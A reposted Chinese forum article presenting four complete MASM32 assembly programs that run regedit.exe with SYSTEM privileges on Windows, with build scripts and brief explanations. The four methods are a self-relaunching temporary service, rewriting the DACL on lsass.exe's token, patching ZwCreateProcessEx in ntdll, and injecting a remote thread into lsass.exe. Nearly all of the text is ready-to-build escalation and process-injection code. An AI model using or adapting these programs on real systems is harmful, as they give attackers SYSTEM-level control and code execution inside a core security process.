【转帖】获得system权限的四种方法,总结的不错~

来源:互联网 发布:斐波拉契数列java 编辑:程序博客网 时间:2024/05/08 16:00

本文总结了 4 种方法获得 SYSTEM 权限来运行 regedit.exe 文件,
源代码很容易修改成命令行方式运行指定的程序。
1. 以[URL=http://www.heibai.net]服务[/URL]方式运行
2. 添加
ACL 的方法
3. HOOK ZwCreateProcessEx 函数
4. 远程线程的方法
  这几种方法都不是我想出来的,我只不过是总结了一下,用 Win32ASM
重写了代码而以。
关于这个大家可以看文章末尾的参考资料。下面简单的分析每一种方法。
1. 以[URL=http://www.heibai.net]服务[/URL]方式运行
  因为以[URL=http://www.heibai.net]服务[/URL]方式运行程序时,相当于运行程序的是系统进程,所以,
被指定运行的程序自然而然的继承了系统进程的权限,也就是 SYSTEM 权限。
;@echo off
;goto make
;====================================================================================
;
一块三毛钱
; [URL=http://zhongts.yeah.net]http://zhongts.yeah.net[/URL]
; [URL=http://www2.3800cc.com/news/w44/mailto:zhongts@163.com]zhongts@163.com[/URL]
; 2005.1.15
;
; 以
SYSTEM 权限运行程序 - GetSys1
;
; 采用以[URL=http://www.heibai.net]服务[/URL]方式运行的方法
;
;====================================================================================
.386
.model
flat, stdcall
option casemap :none
include c:/masm32/include/windows.inc
include
c:/masm32/include/kernel32.inc
include
c:/masm32/include/advapi32.inc
include c:/masm32/include/masm32.inc
includelib c:/masm32/lib/kernel32.lib
includelib
c:/masm32/lib/advapi32.lib
includelib c:/masm32/lib/masm32.lib
_ReLaunch proto
CTXT MACRO text
        local
lbl
       
.const
               
lbl db text,0
       
.code
        exitm  
ENDM
.code
start proc
       
LOCAL   stStartupInfo :
STARTUPINFO
        LOCAL  
procinfo : PROCESS_INFORMATION
       
        invoke  CreateMutex, NULL,
TRUE, CTXT("GetSys1_Mutex")
       
invoke  GetLastError
        .if
eax==ERROR_ALREADY_EXISTS
               
invoke  RtlZeroMemory, addr stStartupInfo, sizeof
stStartupInfo
               
mov     stStartupInfo.cb, sizeof
stStartupInfo
               
invoke  CreateProcess, 0, CTXT("regedit.exe"), 0, 0, 0, 0, 0, 0,
addr
stStartupInfo, addr
procinfo
               
invoke  CloseHandle,
procinfo.hProcess
               
invoke  CloseHandle,
procinfo.hThread
       
.else
               
invoke  _ReLaunch
       
.endif
       
        invoke  ExitProcess,
NULL
start endp
_ReLaunch proc
       
LOCAL   hSCManager
       
LOCAL   hService
       
LOCAL   szName[MAX_PATH] : byte
        invoke  OpenSCManager, NULL,
NULL, SC_MANAGER_CREATE_SERVICE
       
.if
eax!=0
               
mov     hSCManager,
eax
               
               
invoke  OpenService, hSCManager, CTXT("GetSys1Temp"),
DELETE
               
.if
eax!=0
                       
push    
eax
                       
invoke  DeleteService,
eax
                       
call    
CloseServiceHandle
               
.endif
               
               
invoke  GetModuleFileName, NULL, addr szName,
MAX_PATH
               
invoke  CreateService, hSCManager, CTXT("GetSys1Temp"), CTXT("GetSys1 Temp
Service"),
/
                               
SERVICE_START + SERVICE_QUERY_STATUS + DELETE,
/
                               
SERVICE_WIN32_OWN_PROCESS + SERVICE_INTERACTIVE_PROCESS, SERVICE_DEMAND_START,
/
                               
SERVICE_ERROR_IGNORE, addr szName, NULL, NULL, NULL, NULL,
NULL
               
.if
eax!=0
                       
mov     hService,
eax
                       
invoke  StartService, hService, 0,
NULL
                       
invoke  DeleteService,
hService
                       
invoke  CloseServiceHandle,
hService
               
.endif
               
invoke  CloseServiceHandle,
hSCManager
       
.endif
        ret
_ReLaunch endp
end start
:make
set path=%path%;c:/masm32/bin
set appname=GetSys1
ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows
%appname%.obj
del %appname%.obj
echo.
pause
  GetSys1(第一次运行的这个进程
GetSys1 我们称为 A) 开始运行时先创建一个互斥量,
接着以[URL=http://www.heibai.net]服务[/URL]的方式重新启动自己
(又一次运行的进程 GetSys1 我们称为 B),重新运行后的
B 已经具有了 SYSTEM 权限。
B 再通过 CreateProcess 函数运行 regedit.exe 程序,
因为 B 具有 SYSTEM
权限,所以 regedit.exe 从中继承了 SYSTEM 权限。
运行完了 regedit.exe 后 B 结束运行,
然后 A 中的
StartService 函数返回,A 结束运行。就是因为 StartService 函数不会直接返回,
所以不能够直接通过[URL=http://www.heibai.net]服务[/URL]的方式运行 regedit.exe。
2. 添加 ACL 的方法
  主要思想是调用 CreateProcessAsUser 函数来运行程序,CreateProcessAsUser
函数的第一个参数是特定用户的令牌,
把这个参数设为具有 SYSTEM 权限的令牌即可。
;@echo off
;goto make
;====================================================================================
;
一块三毛钱
; [URL=http://zhongts.yeah.net]http://zhongts.yeah.net[/URL]
; [URL=http://www2.3800cc.com/news/w44/mailto:zhongts@163.com]zhongts@163.com[/URL]
; 2005.1.15
;
; 以
SYSTEM 权限运行程序 - GetSys2
;
; 采用添加 ACL
的方法
;
;====================================================================================
.386
.model
flat, stdcall
option casemap :none
include c:/masm32/include/windows.inc
include
c:/masm32/include/kernel32.inc
include
c:/masm32/include/advapi32.inc
include
c:/masm32/include/accctrl.inc
include c:/masm32/include/masm32.inc
includelib c:/masm32/lib/kernel32.lib
includelib
c:/masm32/lib/advapi32.lib
includelib c:/masm32/lib/masm32.lib
_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcName proto
:DWORD
_ModifySecurity proto :DWORD,:DWORD
CTXT MACRO text
        local
lbl
       
.const
               
lbl db text,0
       
.code
        exitm  
ENDM
ACL STRUCT
       
AclRevision     BYTE  
?
       
Sbz1            
BYTE  ?
       
AclSize         WORD  
?
       
AceCount        WORD  
?
       
Sbz2            
WORD  ?
ACL ENDS
PACL typedef PTR ACL
SecurityImpersonation   equ 2
.code
start proc
       
LOCAL   hProc
       
LOCAL   hToken,
hNewToken
        LOCAL  
stStartupInfo : STARTUPINFO
       
LOCAL   procinfo :
PROCESS_INFORMATION
       
        sub     eax,
eax
        mov    
hProc, eax
       
mov     hToken,
eax
        mov    
hNewToken, eax
        invoke  
RtlZeroMemory, addr stStartupInfo, sizeof
stStartupInfo
        invoke  
RtlZeroMemory, addr procinfo, sizeof
procinfo
       
        invoke  _EnablePrivilege,
CTXT("SeDebugPrivilege"), TRUE
       
        invoke  _GetPidFromProcName,
CTXT("lsass.exe")
        invoke  
OpenProcess, PROCESS_QUERY_INFORMATION, 0,
eax
        test    eax,
eax
       
jz      
_exit
        mov    
hProc, eax
        invoke  
OpenProcessToken, hProc, READ_CONTROL+WRITE_DAC, addr
hToken
        test    eax,
eax
       
jz      
_exit
       
        invoke  _ModifySecurity,
hToken, TOKEN_ALL_ACCESS
       
test    eax, eax
       
jz      
_exit
       
        invoke  CloseHandle,
hToken
        mov    
hToken, 0
       
        invoke  OpenProcessToken,
hProc, TOKEN_ALL_ACCESS, addr
hToken
        test    eax,
eax
       
jz      
_exit
       
        invoke  DuplicateTokenEx,
hToken, TOKEN_ALL_ACCESS, 0,
SecurityImpersonation, TokenPrimary, addr
hNewToken
        test    
eax, eax
       
jz      
_exit
       
        invoke  
ImpersonateLoggedOnUser, hNewToken
       
test    eax, eax
       
jz      
_exit
       
        mov    
stStartupInfo.cb, sizeof
stStartupInfo
        invoke  
CreateProcessAsUser, hNewToken, 0, CTXT("regedit.exe"), 0, 0, 0, 0, 0, 0,
addr stStartupInfo, addr
procinfo
        test    
eax, eax
       
jz      
_exit
        invoke  CloseHandle,
procinfo.hProcess
        invoke  
CloseHandle, procinfo.hThread
       
_exit:
        .if
hProc
               
invoke  CloseHandle, hProc
       
.endif
        .if
hToken
               
invoke  CloseHandle, hToken
       
.endif
        .if
hNewToken
               
invoke  CloseHandle,
hNewToken
       
.endif
        invoke  ExitProcess,
NULL
start endp
_ModifySecurity proc uses ebx esi edi, hToken:DWORD,
dwAccess:DWORD
        LOCAL  
pSD, pAbsSD
        LOCAL  
dwSDLength
        LOCAL  
bDaclPresent, bDaclDefaulted
       
LOCAL   pAcl : PACL
       
LOCAL   pNewAcl : PACL
       
LOCAL   szName[1024] :
BYTE
        LOCAL   ea :
EXPLICIT_ACCESS
        LOCAL  
pSacl, pOwner, pPrimaryGroup
       
LOCAL   dwAclSize, dwSaclSize, dwOwnerSize,
dwPrimaryGroup
        LOCAL  
bSuccess
       
        sub     eax,
eax
        mov    
pSD, eax
       
mov     pAbsSD,
eax
        mov    
dwSDLength, eax
       
mov     bDaclPresent,
eax
        mov    
bDaclDefaulted, eax
       
mov     pAcl,
eax
        mov    
pNewAcl, eax
       
mov     pSacl,
eax
        mov    
pOwner, eax
       
mov     pPrimaryGroup,
eax
        mov    
dwAclSize, eax
       
mov     dwSaclSize,
eax
        mov    
dwOwnerSize, eax
       
mov     dwPrimaryGroup,
eax
        mov    
bSuccess, eax
        invoke  
GetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pSD, 0, addr
dwSDLength
        invoke  
LocalAlloc, LPTR, dwSDLength
       
test    eax, eax
       
jz      
_exit
        mov    
pSD, eax
        invoke  
GetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION, pSD,
dwSDLength,
addr dwSDLength
       
        invoke  
GetSecurityDescriptorDacl, pSD, addr bDaclPresent, addr pAcl, addr
bDaclDefaulted
       
        mov     eax,
sizeof szName
       
push    eax
       
invoke  GetUserName, addr szName,
esp
        pop    
eax
       
        invoke  
BuildExplicitAccessWithName, addr ea, addr szName, dwAccess, GRANT_ACCESS,
FALSE
        invoke  
SetEntriesInAcl, 1, addr ea, pAcl, addr
pNewAcl
       
cmp     eax,
ERROR_SUCCESS
       
jne     _exit
       
        invoke  LocalFree,
pAcl
        mov    
pAcl, 0
        invoke  
MakeAbsoluteSD, pSD, pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl, addr
dwSaclSize,
/
                       
pOwner, addr dwOwnerSize, pPrimaryGroup, addr
dwPrimaryGroup
       
        invoke  LocalAlloc, LPTR,
dwSDLength
        test    
eax, eax
       
jz      
_exit
        mov    
pAbsSD, eax
       
        invoke  LocalAlloc, LPTR,
dwAclSize
        test    
eax, eax
       
jz      
_exit
        mov    
pAcl, eax
       
        invoke  LocalAlloc, LPTR,
dwSaclSize
        test    
eax, eax
       
jz      
_exit
        mov    
pSacl, eax
       
        invoke  LocalAlloc, LPTR,
dwOwnerSize
        test    
eax, eax
       
jz      
_exit
        mov    
pOwner, eax
       
        invoke  LocalAlloc, LPTR,
dwPrimaryGroup
       
test    eax, eax
       
jz      
_exit
        mov    
pPrimaryGroup, eax
       
        invoke  MakeAbsoluteSD, pSD,
pAbsSD, addr dwSDLength, pAcl, addr dwAclSize, pSacl, addr dwSaclSize,
/
                       
pOwner, addr dwOwnerSize, pPrimaryGroup, addr
dwPrimaryGroup
        invoke  
SetSecurityDescriptorDacl, pAbsSD, bDaclPresent, pNewAcl,
bDaclDefaulted
        invoke  
SetKernelObjectSecurity, hToken, DACL_SECURITY_INFORMATION,
pAbsSD
       
        mov    
bSuccess, 1
       
_exit:
        .if
pSD
               
invoke  LocalFree, pSD
       
.endif
        .if
pAcl
               
invoke  LocalFree, pAcl
       
.endif
        .if
pNewAcl
               
invoke  LocalFree, pNewAcl
       
.endif
        .if
pAbsSD
               
invoke  LocalFree, pAbsSD
       
.endif
        .if
pSacl
               
invoke  LocalFree, pSacl
       
.endif
        .if
pOwner
               
invoke  LocalFree, pOwner
       
.endif
        .if
pPrimaryGroup
               
invoke  LocalFree,
pPrimaryGroup
       
.endif
        mov    
eax, bSuccess
       
ret
_ModifySecurity endp
_EnablePrivilege proc szPriv:DWORD,
bFlags:DWORD
        LOCAL  
hToken
        LOCAL   tkp :
TOKEN_PRIVILEGES
       
        invoke  
GetCurrentProcess
       
mov     edx,
eax
        invoke  OpenProcessToken,
edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr
hToken
        invoke  
LookupPrivilegeValue, NULL, szPriv, addr
tkp.Privileges.Luid
       
mov     tkp.PrivilegeCount,
1
        xor     eax,
eax
        .if
bFlags
               
mov     eax,
SE_PRIVILEGE_ENABLED
       
.endif
        mov    
tkp.Privileges.Attributes, eax
       
invoke  AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0,
0
        push    
eax
        invoke  CloseHandle,
hToken
        pop    
eax
        ret
_EnablePrivilege
endp
_GetPidFromProcName proc
lpProcName:DWORD
        LOCAL  
stProcess : PROCESSENTRY32
       
LOCAL   hSnapshot
       
LOCAL   dwProcessID
       
        mov    
dwProcessID, 0
        invoke  
RtlZeroMemory, addr stProcess, sizeof
stProcess
       
mov     stProcess.dwSize, sizeof
stProcess
        invoke  
CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS,
0
        mov    
hSnapshot, eax
        invoke  
Process32First, hSnapshot, addr
stProcess
        .while
eax
               
invoke  lstrcmpi, lpProcName, addr
stProcess.szExeFile
               
.if
eax==0
                       
mov     eax,
stProcess.th32ProcessID
                       
mov     dwProcessID,
eax
                       
.break
               
.endif
               
invoke  Process32Next, hSnapshot, addr
stProcess
       
.endw
        invoke  CloseHandle,
hSnapshot
       
mov     eax,
dwProcessID
       
ret
_GetPidFromProcName endp
end start
:make
set path=%path%;c:/masm32/bin
set appname=GetSys2
ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows
%appname%.obj
del %appname%.obj
echo.
pause
  GetSys2 取得 lsass.exe
进程的令牌,缺省情况下操作这个令牌的权限很小,
所以需要先取得操作这个令牌的所有权限。这个任务由函数 _ModifySecurity
来完成。
有了权限后,复制一个主令牌,然后在当前线程中扮演 SYSTEM 用户,接着就可以调用 CreateProcessAsUser
函数运行
regedit.exe 程序了。有关安全性[URL=http://www.heibai.net]编程[/URL]不清楚的地方可以参考[3]。
3. HOOK ZwCreateProcessEx 函数
  有关这个[1]里面讲得很清楚了,下面直接给出源代码。
;@echo off
;goto make
;====================================================================================
;
一块三毛钱
; [URL=http://zhongts.yeah.net]http://zhongts.yeah.net[/URL]
; [URL=http://www2.3800cc.com/news/w44/mailto:zhongts@163.com]zhongts@163.com[/URL]
; 2005.1.15
;
; 以
SYSTEM 权限运行程序 - GetSys3
;
; 采用 HOOK ZwCreateProcessEx
函数的方法
;
;====================================================================================
.386
.model flat, stdcall
option casemap :none
include c:/masm32/include/windows.inc
include
c:/masm32/include/kernel32.inc
include
c:/masm32/include/advapi32.inc
include c:/masm32/include/masm32.inc
includelib c:/masm32/lib/kernel32.lib
includelib
c:/masm32/lib/advapi32.lib
includelib c:/masm32/lib/masm32.lib
_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcName proto
:DWORD
_HackedZwCreateProcessEx proto
CTXT MACRO text
        local
lbl
       
.const
               
lbl db text,0
       
.code
        exitm  
ENDM
ASMJMP struct
       
mov_eax         BYTE    
?
       
address         DWORD  
?
       
jmp_eax         WORD    
?
ASMJMP ends
.data?
        g_hProc dd  
?
       
g_dwFunc        dd  ?
.code
start proc
       
LOCAL   osvi :
OSVERSIONINFO
        LOCAL  
lpAsmJmp
        LOCAL   mbi :
MEMORY_BASIC_INFORMATION
       
LOCAL   stStartupInfo :
STARTUPINFO
        LOCAL  
procinfo : PROCESS_INFORMATION
       
        sub     eax,
eax
        mov    
lpAsmJmp, eax
        invoke  
RtlZeroMemory, addr osvi, sizeof
osvi
        invoke  RtlZeroMemory,
addr mbi, sizeof mbi
        invoke  
RtlZeroMemory, addr stStartupInfo, sizeof
stStartupInfo
        invoke  
RtlZeroMemory, addr procinfo, sizeof
procinfo
       
        mov    
osvi.dwOSVersionInfoSize, sizeof
osvi
        invoke  GetVersionEx,
addr osvi
       
cmp     osvi.dwMajorVersion,
5
        jnz    
_exit
        .if
osvi.dwMinorVersion==1
               
mov     g_dwFunc,
30h
        .elseif
osvi.dwMinorVersion==2
               
mov     g_dwFunc,
32h
       
.endif
       
        invoke  _EnablePrivilege,
CTXT("SeDebugPrivilege"), TRUE
       
        invoke  _GetPidFromProcName,
CTXT("lsass.exe")
       
test    eax, eax
       
jz      
_exit
       
        invoke  OpenProcess,
PROCESS_CREATE_PROCESS, TRUE, eax
       
test    eax, eax
       
jz      
_exit
        mov    
g_hProc, eax
       
        invoke  GetModuleHandle,
CTXT("ntdll.dll")
       
mov     edx,
eax
        invoke  GetProcAddress,
edx, CTXT("ZwCreateProcessEx")
       
mov     lpAsmJmp,
eax
       
        invoke  VirtualQuery,
lpAsmJmp, addr mbi, sizeof mbi
       
push    eax
       
invoke  VirtualProtect, mbi.AllocationBase, mbi.RegionSize,
PAGE_EXECUTE_READWRITE, esp
       
pop     eax
       
        mov     edi,
lpAsmJmp
        assume  edi : ptr
ASMJMP
        mov    
[edi].mov_eax, 0B8h
       
mov     [edi].address, offset
_HackedZwCreateProcessEx
       
mov     [edi].jmp_eax,
0E0FFh
       
        mov    
stStartupInfo.cb, sizeof
stStartupInfo
        invoke  
CreateProcess, 0, CTXT("regedit.exe"),
0, 0, 0, 0, 0, 0, addr stStartupInfo,
addr procinfo
       
test    eax, eax
       
jz      
_exit
        invoke  CloseHandle,
procinfo.hProcess
        invoke  
CloseHandle, procinfo.hThread
       
_exit:
        invoke  
ExitProcess, NULL
start endp
_HackedZwCreateProcessEx proc
       
mov     eax,
g_hProc
       
mov     dword ptr [esp+16],
eax
        mov    
eax, g_dwFunc
       
lea     edx, dword ptr
[esp+4]
       
int     2Eh
       
retn    24h
_HackedZwCreateProcessEx endp
_EnablePrivilege proc szPriv:DWORD,
bFlags:DWORD
        LOCAL  
hToken
        LOCAL   tkp :
TOKEN_PRIVILEGES
       
        invoke  
GetCurrentProcess
       
mov     edx,
eax
        invoke  OpenProcessToken,
edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr
hToken
        invoke  
LookupPrivilegeValue, NULL, szPriv, addr
tkp.Privileges.Luid
       
mov     tkp.PrivilegeCount,
1
        xor     eax,
eax
        .if
bFlags
               
mov     eax,
SE_PRIVILEGE_ENABLED
       
.endif
        mov    
tkp.Privileges.Attributes, eax
       
invoke  AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0,
0
        push    
eax
        invoke  CloseHandle,
hToken
        pop    
eax
        ret
_EnablePrivilege
endp
_GetPidFromProcName proc
lpProcName:DWORD
        LOCAL  
stProcess : PROCESSENTRY32
       
LOCAL   hSnapshot
       
LOCAL   dwProcessID
       
        mov    
dwProcessID, 0
        invoke  
RtlZeroMemory, addr stProcess, sizeof
stProcess
       
mov     stProcess.dwSize, sizeof
stProcess
        invoke  
CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS,
0
        mov    
hSnapshot, eax
        invoke  
Process32First, hSnapshot, addr
stProcess
        .while
eax
               
invoke  lstrcmpi, lpProcName, addr
stProcess.szExeFile
               
.if
eax==0
                       
mov     eax,
stProcess.th32ProcessID
                       
mov     dwProcessID,
eax
                       
.break
               
.endif
               
invoke  Process32Next, hSnapshot, addr
stProcess
       
.endw
        invoke  CloseHandle,
hSnapshot
       
mov     eax,
dwProcessID
       
ret
_GetPidFromProcName endp
end start
:make
set path=%path%;c:/masm32/bin
set appname=GetSys3
ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows
%appname%.obj
del %appname%.obj
echo.
pause
4. 远程线程的方法
  通过注入远程线程的方法来运行指定的 regedit.exe 程序,
也是相当于运行 regedit.exe 程序的是系统进程,
那么
regedit.exe 也就自然而然的继承了系统进程的 SYSTEM 权限。
;@echo off
;goto make
;====================================================================================
;
一块三毛钱
; [URL=http://zhongts.yeah.net]http://zhongts.yeah.net[/URL]
; [URL=http://www2.3800cc.com/news/w44/mailto:zhongts@163.com]zhongts@163.com[/URL]
; 2005.1.15
;
; 以
SYSTEM 权限运行程序 - GetSys4
;
;
采用远程线程的方法
;
;====================================================================================
.386
.model
flat, stdcall
option casemap :none
include c:/masm32/include/windows.inc
include
c:/masm32/include/kernel32.inc
include
c:/masm32/include/advapi32.inc
include c:/masm32/include/masm32.inc
includelib c:/masm32/lib/kernel32.lib
includelib
c:/masm32/lib/advapi32.lib
includelib c:/masm32/lib/masm32.lib
_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcName proto :DWORD
;下面两个宏来源于罗云彬的《Windows 环境下32位汇[URL=http://www.heibai.net]编程[/URL]序设计》一书
reverseArgs macro
arglist:VARARG
        local  
txt,count
   
       
txt     TEXTEQU
        count   =
0
        for    
i,
               
count   = count +
1
               
txt     TEXTEQU
@CatStr(i,,)
       
endm
       
if      count GT
0
               
txt     SUBSTR  
txt,1,@SizeStr(%txt)-1
       
endif
        exitm  
txt
endm
_invoke macro
_Proc,args:VARARG
       
local   count
   
        count   =
0
%       for     i,
               
count   = count +
1
               
push    i
       
endm
        call    dword
ptr _Proc    
   
endm
CTXT MACRO text
        local
lbl
       
.const
               
lbl db text,0
       
.code
        exitm  
ENDM
.data?
       
g_hProcess      dd  
?
        g_lpRemoteCode  dd  
?
.code
Remote_code_start       equ this
byte
g_lpGetModuleHandleA    dd  
?
g_lpGetProcAddress      dd  ?
g_szKernel32            
db  "Kernel32.dll",0
g_szCreateProcessA      
db  "CreateProcessA",0
g_lpCreateProcessA      dd  ?
g_szRegedit            
db  
"Regedit.exe",0
g_szDesktop            
db  "WinSta0/Default",0
g_stStartupInfo         STARTUPINFO
g_procinfo              
PROCESS_INFORMATION
_RemoteThread proc
;      
int     3
       
pushad
        call    
@F
       
@@:
        pop    
ebx
        sub    
ebx, offset @B
       
        lea     eax,
[ebx+g_szKernel32]
        _invoke
[ebx+g_lpGetModuleHandleA], eax
       
mov     esi,
eax
        lea    
eax, [ebx+g_szCreateProcessA]
       
_invoke [ebx+g_lpGetProcAddress], esi,
eax
        mov    
[ebx+g_lpCreateProcessA], eax
       
        lea     eax,
[ebx+g_szDesktop]
       
lea     ecx,
[ebx+g_stStartupInfo]
       
mov     dword ptr [ecx], sizeof
g_stStartupInfo
       
mov     dword ptr [ecx+8],
eax
        lea    
eax, [ebx+g_szRegedit]
       
lea     edx,
[ebx+g_procinfo]
       
        _invoke [ebx+g_lpCreateProcessA],
0, eax, 0, 0, 0, 0, 0, 0, ecx, edx
       
       
popad
        ret
_RemoteThread
endp
Remote_code_end         equ this
byte
Remote_code_length      equ offset
Remote_code_end - offset Remote_code_start
start proc
        invoke  
GetModuleHandle,
CTXT("kernel32.dll")
       
mov     ebx,
eax
        invoke  GetProcAddress,
ebx, CTXT("GetModuleHandleA")
       
mov     g_lpGetModuleHandleA,
eax
        invoke  GetProcAddress,
ebx, CTXT("GetProcAddress")
       
mov     g_lpGetProcAddress,
eax
       
        invoke  _EnablePrivilege,
CTXT("SeDebugPrivilege"), TRUE
       
        invoke  _GetPidFromProcName,
CTXT("lsass.exe")
        invoke  
OpenProcess, PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE, FALSE,
eax
        .if
eax
               
mov     g_hProcess,
eax
               
invoke  VirtualAllocEx, g_hProcess, NULL, Remote_code_length, MEM_COMMIT,
PAGE_EXECUTE_READWRITE
               
.if
eax
                       
mov     g_lpRemoteCode,
eax
                       
invoke  WriteProcessMemory, g_hProcess, g_lpRemoteCode,
offset
Remote_code_start, Remote_code_length,
NULL
                       
mov     eax,
g_lpRemoteCode
                       
add     eax, offset _RemoteThread - offset
Remote_code_start
                       
invoke  CreateRemoteThread, g_hProcess, NULL, 0, eax, 0, 0,
NULL
                       
invoke  CloseHandle,
eax
               
.endif
               
invoke  CloseHandle,
g_hProcess
       
.endif
        invoke  ExitProcess,
NULL
start endp
_EnablePrivilege proc szPriv:DWORD,
bFlags:DWORD
        LOCAL  
hToken
        LOCAL   tkp :
TOKEN_PRIVILEGES
       
        invoke  
GetCurrentProcess
       
mov     edx,
eax
        invoke  OpenProcessToken,
edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr
hToken
        invoke  
LookupPrivilegeValue, NULL, szPriv, addr
tkp.Privileges.Luid
       
mov     tkp.PrivilegeCount,
1
        xor     eax,
eax
        .if
bFlags
               
mov     eax,
SE_PRIVILEGE_ENABLED
       
.endif
        mov    
tkp.Privileges.Attributes, eax
       
invoke  AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0,
0
        push    
eax
        invoke  CloseHandle,
hToken
        pop    
eax
        ret
_EnablePrivilege
endp
_GetPidFromProcName proc
lpProcName:DWORD
        LOCAL  
stProcess : PROCESSENTRY32
       
LOCAL   hSnapshot
       
LOCAL   dwProcessID
       
        mov    
dwProcessID, 0
        invoke  
RtlZeroMemory, addr stProcess, sizeof
stProcess
       
mov     stProcess.dwSize, sizeof
stProcess
        invoke  
CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS,
0
        mov    
hSnapshot, eax
        invoke  
Process32First, hSnapshot, addr
stProcess
        .while
eax
               
invoke  lstrcmpi, lpProcName, addr
stProcess.szExeFile
               
.if
eax==0
                       
mov     eax,
stProcess.th32ProcessID
                       
mov     dwProcessID,
eax
                       
.break
               
.endif
               
invoke  Process32Next, hSnapshot, addr
stProcess
       
.endw
        invoke  CloseHandle,
hSnapshot
       
mov     eax,
dwProcessID
       
ret
_GetPidFromProcName endp
end start
:make
set path=%path%;c:/masm32/bin
set appname=GetSys4
ml /nologo /c /coff %appname%.bat
link /nologo /subsystem:windows
/section:.text,rwe %appname%.obj
del
%appname%.obj
echo.
pause
  这段代码也没什么好解释的,唯一一个要注意的地方就是调用 CreateProcess
函数时,lpStartupInfo
参数指向的 STARTUPINFO 结构成员 lpDesktop 需要明确的指定 WinSta0/Default
为运行桌面。
否则,程序 regedit.exe 运行后不知道跑到哪里去了。